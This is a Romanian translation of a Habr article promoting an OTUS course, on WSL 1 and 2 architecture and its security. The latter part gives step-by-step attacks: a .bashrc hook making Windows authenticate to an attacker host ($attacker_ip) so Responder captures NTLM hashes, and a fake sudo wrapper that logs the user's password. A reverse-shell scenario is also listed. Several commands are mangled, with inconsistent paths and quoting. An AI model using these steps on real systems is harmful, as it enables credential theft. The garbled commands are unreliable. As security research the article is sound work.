Salut, Habr! În octombrie, OTUS lansează un nou flux pentru curs. Înainte de începerea cursului, împărtășim cu voi un articol scris de unul dintre profesorii noștri - Alexander Kolesnikov.
În 2016, compania Microsoft a prezentat comunității IT o nouă tehnologie WSL (WWindows SSubsystem for LLinux), care oferea în perspectiva posibilitatea de a uni concurenții anterior ireconciliabili care luptau pentru popularitate atât în rândul utilizatorilor obișnuiți, cât și avansați ai sistemelor de operare: Windows și Linux. Această tehnologie oferea posibilitatea de a utiliza instrumente din sistemul de operare Linux în mediul Windows, fără a fi necesară pornirea Linux-ului, de exemplu, prin utilizarea unui sistem multi-boot. Pe Habr, puteți găsi o mulțime de articole care descriu avantajele utilizării WSL. Cu toate acestea, din păcate, în momentul redactării articolului, nu au fost găsite studii de securitate referitoare la acest simbioză de sisteme de operare. Acest post va încerca să remedieze această situație. Articolul va discuta despre caracteristicile arhitecturii WSL 1 și 2, analizând câteva exemple de atacuri asupra sistemelor care folosesc aceste tehnologii. Articolul este împărțit în 2 părți. Prima parte va oferi principalele metode teoretice de atac din partea Linux și Windows. A doua parte va include configurația mediului de testare și reproducerea atacurilor.
WSL 1: caracteristicile arhitecturii
Pentru a explora în mod precis problemele de securitate ale WSL, este necesar să definim principalele nuanțe legate de implementarea subsistemului. Una dintre principalele sarcini utilizatorilor rezolvate de WSL este de a oferi posibilitatea de a lucra prin terminal Linux pe un gazdă cu sistem de operare Windows. De asemenea, compatibilitatea propusă a fost atât de nativă, încât fișierele executabile Linux (ELF) puteau fi rulate direct în sistemul Windows. Pentru a atinge aceste obiective, în Windows 10 a fost creat un subsistem special care permite lansarea aplicațiilor Linux folosind un set de apeluri de sistem specifice - astfel, a fost realizată o mapare a setului de syscall-uri Linux pe Windows. Aceasta a fost realizată fizic prin adăugarea de noi drivere și un nou format de proces. Arhitectura arăta astfel:
În esență, interacțiunea cu sistemul de operare Linux a fost organizată prin intermediul mai multor module de kernel și a unui tip special de procese — pico. Din schema de mai sus, este clar că procesul, lansat în instanța Linux pe gazdă, trebuie să fie nativ și să folosească aceleași resurse ca aplicațiile obișnuite Windows. Dar cum se poate realiza acest lucru? În proiectul au fost dezvoltate concepte de procese pentru Windows, care ofereau toate componentele necesare ale sistemului de operare (în funcție de versiunea sa) pentru a rula o aplicație dintr-un alt sistem de operare.
Observăm că abstracția propusă permitea să nu ne orientăm spre sistemul de operare (în special — Windows) în care se așteaptă să ruleze procesul dintr-un alt sistem de operare, oferind o abordare comună.
Astfel, orice aplicație din interiorul procesului pico putea funcționa fără să țină cont de kernelul Windows:
- Problemele de compatibilitate și traducerea apelurilor de sistem trebuie să fie rezolvate de provideri speciali;
- Restricționarea accesului trebuie realizată prin Monitorul de securitate. Monitorul este situat în kernel, iar pentru aceasta Windows a avut nevoie de un upgrade sub formă de nou driver, care să acționeze ca provider pentru aceste procese. Prototipul procesului pico este ilustrat schematic mai jos:
Deoarece sistemul de fișiere Linux folosește denumiri de fișiere și directoare sensibile la majuscule, în Windows au fost adăugate 2 tipuri de sisteme de fișiere pentru a lucra cu WSL — VolFS și DriveFS. VolFS este o implementare a sistemului de fișiere Linux, iar DriveFS este un sistem de fișiere care funcționează după regulile Windows, dar are opțiunea de a alege sensibilitatea la majuscule a numelui.
WSL 2
WSL 1 a avut o serie de limitări, care nu permiteau utilizarea sa pentru a rezolva maximum de sarcini: de exemplu, nu era posibilă rularea aplicațiilor Linux pe 32 de biți și nu se puteau utiliza drivere de dispozitiv. Din acest motiv, în 2020, a fost lansată WSL 2, care a schimbat abordarea construirii subsistemului. WSL 2 este o mașină virtuală optimizată, care corespunde caracteristicilor WSL 1 în ceea ce privește consumul de resurse. Acum, în funcție de problemele pe care utilizatorul sistemului de operare Windows trebuie să le rezolve, se poate alege versiunea necesară a subsistemului care lucrează cu Linux. Pentru a mitiga posibilele vulnerabilități, WSL 2 a fost implementat pe baza Hyper-V în Windows 10. În acest mod, Windows are capacitatea de a rula în izolare nucleul sistemului de operare Linux. Este important de menționat că versiunea 1 WSL a fost prezentată ca o caracteristică beta, care trebuia să demonstreze direcția de dezvoltare a Windows în acest domeniu, prin urmare, tranziția la Hyper-V a fost inevitabilă. Arhitectura finală arată astfel:
În această versiune, nucleele sistemelor Windows și Linux au propriile resurse, iar intersecția există doar în sistemul de fișiere, deși această intersecție nu poate fi considerată completă. Interacțiunea între sistemele de fișiere se realizează printr-o înveliș client-server, care funcționează pe protocolul 9P.
În prezent, Microsoft oferă posibilitatea de a comuta între WSL 1 și WSL 2. Ambele versiuni sunt disponibile pentru utilizare.
Securitatea WSL
Până în prezent, există câteva lucrări care descriu anumite abordări de utilizare a instrumentelor legitime ale sistemului de operare pentru a ataca interacțiunea dintre subsisteme. Vom folosi scenariile lor pentru a verifica relevanța atacurilor în momentul redactării articolului. Lista generală a atacurilor și scenariile de desfășurare:
1. Implementarea sistemului de fișiere: drepturi de acces, existența directoarelor/mecanismelor de partajare a datelor.
Cercetările au fost efectuate pentru a verifica încălcarea regulilor de acces din Linux FS->Windows FS, Windows FS->Linux FS.Cercetările au demonstrat posibilitatea modificării unui fișier specificat în cadrul sistemului de operare țintă. De asemenea, au fost efectuate încercări de substituție, creare de duplicate și ștergere a unor părți din sistemele de fișiere.
Scenariul:
- A. Atac din sistemul de operare Windows — modificarea fișierelor din directorul /etc al sistemului Linux.
- B. Atac din sistemul de operare Linux — modificarea fișierelor din directoarele:
C:Windows,C:Program Files,C:Users
2. Implementarea stivei de rețea.
Cercetările au fost realizate pe exemple de atacuri din partea sistemului de operare Linux asupra Windows. Au fost utilizate caracteristicile de funcționare ale stivei de rețea, și anume mecanismele de autentificare pe diferite resurse.
Scenariul:
- Deschiderea accesului la un port care este ocupat în sistemul Windows.
- Deschiderea unui port în absența drepturilor corespunzătoare.
- Rularea unui reverse shell folosind un fișier elf în sistemul de operare Windows.
3. Ascunderea lansării proceselor de software malițios prin intermediul subsistemului WSL.
Cercetările au fost bazate pe un fapt simplu — subsistemele de protecție nu pot intercepta evenimente în alt nucleu care funcționează folosind un provider legitim din partea sistemului de operare în cazul WSL 1. În cazul WSL 2, nu există posibilitatea de a vizualiza evenimentele care au loc în nucleul separat din cadrul unei mașini virtuale ușoare.
Scenariul:
1) Lansarea unei aplicații pentru acces la distanță în sistem și vizualizarea evenimentelor înregistrate.
Experimente WSL 1: interceptarea hash-ului (OS Windows).
În sfârșit, am ajuns la partea practică. Pentru început, este necesar să configurăm mediu pentru teste. Toate experimentele vor fi efectuate pe un stand cu Windows 10 2004 instalat. Ca imagine a sistemului de operare pentru WSL a fost aleasă imaginea Ubuntu 18.04. Imaginea a fost aleasă la întâmplare și orice altă va funcționa la fel. Comenzile pentru configurarea standului sunt:
În prealabil, trebuie să lansăm powershell.exe din contul de administrator.
Pentru WSL 1 trebuie executate comenzile:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Activarea funcției WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Descărcarea imaginii Linux din magazinul Microsoft
După rebootarea standului, se poate apela comanda bash. Dacă totul a funcționat corect, atunci veți vedea o ieșire de genul acesta în consola Windows:
Ca mașină a atacatorului, vom folosi distribuția Kali Linux, toate mașinile trebuie să fie în aceeași rețea locală.
Să presupunem că avem acces neprivilegiat la WSL pe un sistem Windows. Vom încerca să efectuăm un atac asupra sistemului de operare Linux printr-o comandă din Linux. Pentru a implementa atacul, vom folosi o tehnică simplă de auto-executare - vom adăuga scriptul nostru pentru a rula în mediul Linux. Pentru aceasta, trebuie să modificăm fișierul .bashrc.
Pe mașina cu WSL executăm:
1. bash
2. Navigăm în directorul home al utilizatorului: cd /home/sam/
3. echo " /home/sam/.attack.sh" >> .bashrc
4. echo "icalcs.exe \\\\$attacker_ip\\shareName\\" > /dev/null 2>&1" >> .attack.sh
5. chmod u+x .attack.sh
6. exitPe mașina Kali Linux executăm:
1. Responder -I eth0 -rdvwPe mașina Windows vom lansa bash.
Așteptăm rezultatul pe mașina Kali Linux:
Astfel, am obținut hash-urile utilizatorului Windows prin subsistemul WSL, executând o comandă pe sistemul Linux.
Experimente WSL 1: obținerea parolei utilizatorului (OS Linux)
Vom efectua un alt experiment. În timpul acestei verificări, vom completa fișierul .bashrc cu câteva comenzi pentru a obține parola utilizatorului sistemului de operare Linux.
Vom lansa bash și vom introduce comenzile:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit Pentru o finalizare reușită a atacului, utilizatorul Sam trebuie să invoce sudo în terminalul Linux. După aceasta, parola utilizatorului OS Linux va fi în fișierul pass.txt:
Implementarea atacurilor a fost prezentată doar în scop teoretic.
În următoarea parte a articolului va fi descrisă implementarea protocolului 9P, va fi discutată crearea unui scaner pentru acest protocol, precum și realizarea unui atac cu ajutorul său.
Lista literaturii utilizate
Citește mai mult
Sursa: habr.com
